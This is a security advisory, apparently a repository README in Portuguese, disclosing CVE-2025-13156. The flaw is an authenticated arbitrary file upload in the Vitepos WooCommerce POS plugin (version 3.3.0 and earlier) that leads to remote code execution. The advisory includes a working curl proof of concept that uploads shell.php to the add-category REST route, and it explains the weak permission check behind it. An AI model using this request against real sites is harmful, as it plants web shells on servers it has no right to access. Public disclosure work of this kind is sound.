
Disclosure for CVE-2025-13156
Divulgação para CVE-2025-13156
Este repositório divulga uma vulnerabilidade descoberta no Vitepos – Point of Sale (POS) for WooCommerce <= 3.3.0, plugin WordPress desenvolvido por appsbd.
| CVE ID | Tipo | Componente | Impacto |
|---|---|---|---|
| CVE-2025-13156 | Upload Arbitrário de Arquivo Autenticado (Inscrito+) para Execução Remota de Código | modules/class-pos-settings.php api/v1/class-pos-product-api.php | Fazer upload de arquivos arbitrários no servidor do site afetado |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
As rotas REST do plugin sob /wp-json/vitepos/v1/product/... dependem de uma verificação de permissão permissiva que efetivamente aceita qualquer usuário logado (is_user_logged_in()), ignorando se o chamador é um usuário de POS ou tem a capacidade de gerenciar termos de produto. Como resultado, funções de baixo privilégio (por exemplo, Inscrito) podem alcançar endpoints como add-category/update-category.
Como não pode ser colocado diretamente na raiz da web, pode não ter sucesso dependendo do ambiente. Como a execução de PHP geralmente não é permitida no diretório Uploads, pensei que não seria possível a menos que o ambiente fosse muito estranho.
No momento em que vi a string application/octet-stream na lista de permissões MIME, tive um mau pressentimento, mas realmente funcionou, fiquei surpreso.
Originalmente, o núcleo do WordPress impede o upload de PHP, mas este plugin implementava seu próprio processamento, então esta vulnerabilidade pôde ser reproduzida. É um caso bastante raro.
Nome: MooseLove
Função: Pesquisador de segurança independente / caçador de bugs
Contato: Disponível mediante solicitação
Este aviso é fornecido para conscientização pública de segurança. Livre para compartilhar com atribuição.